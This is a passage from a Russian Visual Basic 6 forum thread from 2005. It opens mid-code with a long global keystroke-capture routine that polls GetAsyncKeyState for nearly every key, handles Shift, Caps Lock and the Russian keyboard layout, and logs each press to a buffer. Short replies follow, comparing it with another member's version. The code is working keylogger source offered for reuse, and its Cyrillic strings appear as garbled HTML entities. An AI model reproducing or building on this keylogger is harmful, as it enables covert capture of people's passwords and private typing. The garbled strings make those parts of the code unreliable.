If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "R"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "r"
End If
keystate = GetAsyncKeyState(vbKeyS)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "S"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "s"
End If
keystate = GetAsyncKeyState(vbKeyT)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "T"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "t"
End If
keystate = GetAsyncKeyState(vbKeyU)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "U"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "u"
End If
keystate = GetAsyncKeyState(vbKeyV)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "V"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "v"
End If
keystate = GetAsyncKeyState(vbKeyW)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "W"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "w"
End If
keystate = GetAsyncKeyState(vbKeyX)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "X"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "x"
End If
keystate = GetAsyncKeyState(vbKeyY)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "Y"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "y"
End If
keystate = GetAsyncKeyState(vbKeyZ)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "Z"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "z"
End If
End If

'''''''''''''''''''''''''''''''''''''''''''''''''''''' Numpad ''''''''''''''''''''''''''''''''''''''''''
keystate = GetAsyncKeyState(vbKeyNumpad1)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "1"
End If

keystate = GetAsyncKeyState(vbKeyNumpad2)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "2"
End If

keystate = GetAsyncKeyState(vbKeyNumpad3)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "3"
End If

keystate = GetAsyncKeyState(vbKeyNumpad4)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "4"
End If

keystate = GetAsyncKeyState(vbKeyNumpad5)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "5"
End If

keystate = GetAsyncKeyState(vbKeyNumpad6)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "6"
End If

keystate = GetAsyncKeyState(vbKeyNumpad7)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "7"
End If

keystate = GetAsyncKeyState(vbKeyNumpad8)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "8"
End If

keystate = GetAsyncKeyState(vbKeyNumpad9)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "9"
End If

keystate = GetAsyncKeyState(vbKeyNumpad0)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "0"
End If

keystate = GetAsyncKeyState(vbKeyAdd)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "+"
End If

keystate = GetAsyncKeyState(vbKeyDecimal)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "." + vbNewLine
End If

keystate = GetAsyncKeyState(vbKeyDivide)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "/" + vbNewLine
End If

keystate = GetAsyncKeyState(vbKeyMultiply)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "*" + vbNewLine
End If

keystate = GetAsyncKeyState(vbKeySubtract)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "-" + vbNewLine
End If
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''Keys 1-0'''''''''''''''''''''''''''''''''''''
keystate = GetAsyncKeyState(vbKey1)
If Shift = 0 And (keystate And &H1) = &H1 Then
  Text2 = Text2 + "1"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "!"
End If

If GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, vbNull)) = 68748313 Then
' &acirc; &eth;&oacute;&ntilde;&ntilde;&ecirc;&icirc;&eacute; &eth;&agrave;&ntilde;&ecirc;&euml;&agrave;&auml;&ecirc;&aring;
keystate = GetAsyncKeyState(vbKey2)
If Shift = 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "2"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + Chr$(34)
End If

keystate = GetAsyncKeyState(vbKey3)
If Shift = 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "3"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "&sup1;"
End If

keystate = GetAsyncKeyState(vbKey4)
If Shift = 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "4"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + ";"
End If

keystate = GetAsyncKeyState(vbKey5)
If Shift = 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "5"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "%"
End If

keystate = GetAsyncKeyState(vbKey6)
If Shift = 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "6"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + ":"
End If

keystate = GetAsyncKeyState(vbKey7)
If Shift = 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "7"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "?"
End If
Else
' &acirc; &agrave;&iacute;&atilde;&euml;&egrave;&eacute;&ntilde;&ecirc;&icirc;&eacute; &eth;&agrave;&ntilde;&ecirc;&euml;&agrave;&auml;&ecirc;&aring;
keystate = GetAsyncKeyState(vbKey2)
If Shift = 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "2"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "@"
End If

keystate = GetAsyncKeyState(vbKey3)
If Shift = 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "3"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "#"
End If

keystate = GetAsyncKeyState(vbKey4)
If Shift = 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "4"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "$"
End If

keystate = GetAsyncKeyState(vbKey5)
If Shift = 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "5"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "%"
End If

keystate = GetAsyncKeyState(vbKey6)
If Shift = 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "6"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "^"
End If

keystate = GetAsyncKeyState(vbKey7)
If Shift = 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "7"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "&"
End If
End If

keystate = GetAsyncKeyState(vbKey8)
If Shift = 0 And (keystate And &H1) = &H1 Then
  Text2 = Text2 + "8"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "*"
End If

keystate = GetAsyncKeyState(vbKey9)
If Shift = 0 And (keystate And &H1) = &H1 Then
  Text2 = Text2 + "9"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "("
End If

keystate = GetAsyncKeyState(vbKey0)
If Shift = 0 And (keystate And &H1) = &H1 Then
  Text2 = Text2 + "0"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + ")"
End If
'''''''''''''''''''''''''''''''''''''''''''''''''''' Function keys ''''''''''''''''''''''''''''''''''''''''''
keystate = GetAsyncKeyState(vbKeyF1)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " F1 " + vbNewLine
End If

keystate = GetAsyncKeyState(vbKeyF10)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " F10 " + vbNewLine
End If

keystate = GetAsyncKeyState(vbKeyF2)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " F2 " + vbNewLine
End If

keystate = GetAsyncKeyState(vbKeyF3)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " F3 " + vbNewLine
End If

keystate = GetAsyncKeyState(vbKeyF4)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " F4 " + vbNewLine
End If

keystate = GetAsyncKeyState(vbKeyF5)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " F5 " + vbNewLine
End If

keystate = GetAsyncKeyState(vbKeyF6)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " F6 " + vbNewLine
End If

keystate = GetAsyncKeyState(vbKeyF7)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " F7 " + vbNewLine
End If

keystate = GetAsyncKeyState(vbKeyF8)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " F8 " + vbNewLine
End If

keystate = GetAsyncKeyState(vbKeyF9)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " F9 " + vbNewLine
End If

keystate = GetAsyncKeyState(vbKeyF11)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " F11 " + vbNewLine
End If

keystate = GetAsyncKeyState(vbKeyF12)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " F12 " + vbNewLine
End If
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Other Keys '''''''''''''''''''''''''''''''''''''
keystate = GetAsyncKeyState(vbKeyTab)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " tab " + vbNewLine
End If

keystate = GetAsyncKeyState(vbKeyLeft)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " &acirc;&euml;&aring;&acirc;&icirc; "
End If

keystate = GetAsyncKeyState(vbKeyRight)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " &acirc;&iuml;&eth;&agrave;&acirc;&icirc; "
End If

keystate = GetAsyncKeyState(vbKeyUp)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " &acirc;&acirc;&aring;&eth;&otilde; " + vbNewLine
End If

keystate = GetAsyncKeyState(vbKeyDown)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " &acirc;&iacute;&egrave;&ccedil; " + vbNewLine
End If

keystate = GetAsyncKeyState(vbKeyInsert)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " insert " + vbNewLine
End If

keystate = GetAsyncKeyState(vbKeyDelete)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " Delete " + vbNewLine
End If

keystate = GetAsyncKeyState(vbKeyEnd)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " end " + vbNewLine
End If

keystate = GetAsyncKeyState(vbKeyHome)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " home " + vbNewLine
End If

keystate = GetAsyncKeyState(vbKeyScrollLock)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " ScrollLock " + vbNewLine
End If

keystate = GetAsyncKeyState(vbKeyPageUp)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " PageUp " + vbNewLine
End If

keystate = GetAsyncKeyState(vbKeyPageDown)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " Pagedown " + vbNewLine
End If

keystate = GetAsyncKeyState(vbKeyEscape)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "Esc" + vbNewLine
End If

keystate = GetAsyncKeyState(vbKeyControl)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " Control " + vbNewLine
End If

keystate = GetAsyncKeyState(vbKeyReturn)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "Enter" + vbNewLine
End If

keystate = GetAsyncKeyState(vbKeyNumlock)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "NumLock" + vbNewLine
End If

keystate = GetAsyncKeyState(vbKeyBack)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " Backspace " + vbNewLine
End If

keystate = GetAsyncKeyState(vbKeyPause)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " Pause/Break " + vbNewLine
End If

keystate = GetAsyncKeyState(vbKeyShift)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " Shift " + vbNewLine
End If

keystate = GetAsyncKeyState(vbKeySpace)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " Space "
End If

keystate = GetAsyncKeyState(vbKeySnapshot)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " PrintScreen " + vbNewLine
End If

keystate = GetAsyncKeyState(vbKeyCapital)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " CapsLock "
End If

keystate = GetAsyncKeyState(vbKeyMenu)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " Alt " + vbNewLine
End If
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Keys   }{]["':;?/>.<,+=~`|\ ''''''''''''''''''''
keystate = GetAsyncKeyState(&HBD)
If Shift = 0 And (keystate And &H1) = &H1 Then
  Text2 = Text2 + "-"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
  Text2 = Text2 + "_"
End If

keystate = GetAsyncKeyState(&HBB)
If Shift = 0 And (keystate And &H1) = &H1 Then
  Text2 = Text2 + "="
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
  Text2 = Text2 + "+"
End If

If GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, vbNull)) = 68748313 Then
' &acirc; &eth;&oacute;&ntilde;&ntilde;&ecirc;&icirc;&eacute; &eth;&agrave;&ntilde;&ecirc;&euml;&agrave;&auml;&ecirc;&aring;
keystate = GetAsyncKeyState(&HC0)
If Shift = 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "&cedil;"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "&uml;"
End If

keystate = GetAsyncKeyState(&HBA)
If Shift = 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "&aelig;"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "&AElig;"
End If
   
keystate = GetAsyncKeyState(&HBC)
If Shift = 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "&aacute;"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "&Aacute;"
End If

keystate = GetAsyncKeyState(&HBE)
If Shift = 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "&thorn;"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "&THORN;"
End If

keystate = GetAsyncKeyState(&HBF)
If Shift = 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "."
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + ","
End If

keystate = GetAsyncKeyState(&HDB)
If Shift = 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "&otilde;"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "&Otilde;"
End If

keystate = GetAsyncKeyState(&HDC)
If Shift = 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "\"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "/"
End If

keystate = GetAsyncKeyState(&HDD)
If Shift = 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "&uacute;"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "&Uacute;"
End If

keystate = GetAsyncKeyState(&HDE)
If Shift = 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "&yacute;"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "&Yacute;"
End If
Else
' &acirc; &agrave;&iacute;&atilde;&euml;&egrave;&eacute;&ntilde;&ecirc;&icirc;&eacute; &eth;&agrave;&ntilde;&ecirc;&euml;&agrave;&auml;&ecirc;&aring;
keystate = GetAsyncKeyState(&HC0)
If Shift = 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "`"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "~"
End If

keystate = GetAsyncKeyState(&HBA)
If Shift = 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + ";"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + ":"
End If
   
keystate = GetAsyncKeyState(&HBC)
If Shift = 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + ","
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "<"
End If

keystate = GetAsyncKeyState(&HBE)
If Shift = 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "."
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + ">"
End If

keystate = GetAsyncKeyState(&HBF)
If Shift = 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "/"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "?"
End If

keystate = GetAsyncKeyState(&HDB)
If Shift = 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "["
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "{"
End If

keystate = GetAsyncKeyState(&HDC)
If Shift = 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "\"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "|"
End If

keystate = GetAsyncKeyState(&HDD)
If Shift = 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "]"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "}"
End If

keystate = GetAsyncKeyState(&HDE)
If Shift = 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + "'"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
   Text2 = Text2 + Chr$(34)
End If
End If
''''''''''''''''''''''''''''''''''''''''''''''''''''''''&iacute;&aring;&egrave;&ccedil;&acirc;&aring;&ntilde;&iacute;&ucirc;&aring; vb keys'''''''''''''''''''''''''''''''''''
'keystate = GetAsyncKeyState(vbKeyCancel)
'If (keystate And &H1) = &H1 Then
'Text2 = Text2 + "vbKeyCancel" + vbNewLine
'End If
'keystate = GetAsyncKeyState(vbKeyClear)
'If (keystate And &H1) = &H1 Then
'Text2 = Text2 + "vbKeyClear" + vbNewLine
'End If
'keystate = GetAsyncKeyState(vbKeyDivide)
'If (keystate And &H1) = &H1 Then
'Text2 = Text2 + "vbKeyDivide" + vbNewLine
'End If
'keystate = GetAsyncKeyState(vbKeyExecute)
'If (keystate And &H1) = &H1 Then
'Text2 = Text2 + "vbKeyExecute" + vbNewLine
'End If
'keystate = GetAsyncKeyState(vbKeyHelp)
'If (keystate And &H1) = &H1 Then
'Text2 = Text2 + "vbKeyHelp" + vbNewLine
'End If
'keystate = GetAsyncKeyState(vbKeyPrint)
'If (keystate And &H1) = &H1 Then
'Text2 = Text2 + "vbKeyPrint" + vbNewLine
'End If
'keystate = GetAsyncKeyState(vbKeySelect)
'If (keystate And &H1) = &H1 Then
'Text2 = Text2 + "vbKeySelect" + vbNewLine
'End If
'keystate = GetAsyncKeyState(vbKeySeparator)
'If (keystate And &H1) = &H1 Then
'Text2 = Text2 + "vbKeySeparator" + vbNewLine
'End If
End Sub


Изображение

Amed
Алфизик
Алфизик
 
Сообщения: 5346
Зарегистрирован: 09.03.2003 (Вс) 9:26

Сообщение Amed » 12.09.2005 (Пн) 22:04

:shock:

d3drm
Астролог
Астролог
Аватара пользователя
 
Сообщения: 2873
Зарегистрирован: 29.05.2002 (Ср) 23:34
Откуда: МаСКвА

Сообщение d3drm » 12.09.2005 (Пн) 22:06

абзацев нет...

HotKitten
Дятил
Дятил
Аватара пользователя
 
Сообщения: 400
Зарегистрирован: 24.01.2005 (Пн) 21:48
Откуда: из дома

Сообщение HotKitten » 12.09.2005 (Пн) 23:05

каких абзацев :?:
Изображение

HotKitten
Дятил
Дятил
Аватара пользователя
 
Сообщения: 400
Зарегистрирован: 24.01.2005 (Пн) 21:48
Откуда: из дома

Сообщение HotKitten » 12.09.2005 (Пн) 23:10

чё-то вместо русских букв хрень какая-то
у меня в коде всё нормально, - это при кпировании глюк какой-то
или чё-то с форумом,

но... думаю и так всё в принципе понятно, особенным объясню :)
Изображение

d3drm
Астролог
Астролог
Аватара пользователя
 
Сообщения: 2873
Зарегистрирован: 29.05.2002 (Ср) 23:34
Откуда: МаСКвА

Сообщение d3drm » 12.09.2005 (Пн) 23:12

ну да, сваливай все на форум =)

когда копируешь текст с русскими символами включай расскладку русскую =)
ХЎ

HotKitten
Дятил
Дятил
Аватара пользователя
 
Сообщения: 400
Зарегистрирован: 24.01.2005 (Пн) 21:48
Откуда: из дома

Сообщение HotKitten » 12.09.2005 (Пн) 23:27

ну либо мой басик глючит, а чё форум, хороший форум :roll:
Изображение

Naked
Бывалый
Бывалый
Аватара пользователя
 
Сообщения: 207
Зарегистрирован: 27.10.2004 (Ср) 3:16
Откуда: Дальнегорск столица мира

Сообщение Naked » 13.09.2005 (Вт) 1:17

слишком громозкий код, а делает тоже самое что мой

Kovu
Постоялец
Постоялец
Аватара пользователя
 
Сообщения: 924
Зарегистрирован: 29.04.2005 (Пт) 17:38

Сообщение Kovu » 13.09.2005 (Вт) 9:58

Naked писал(а):слишком громозкий код, а делает тоже самое что мой

Твой код иногда вызывает ошибку при выходе из программы, что уже не есть хорошо :wink:
Если всё делать своими ручками, они скоро отвалятся !


Вернуться в Visual Basic 1–6

Кто сейчас на конференции

Сейчас этот форум просматривают: нет зарегистрированных пользователей и гости: 60

    TopList  
cron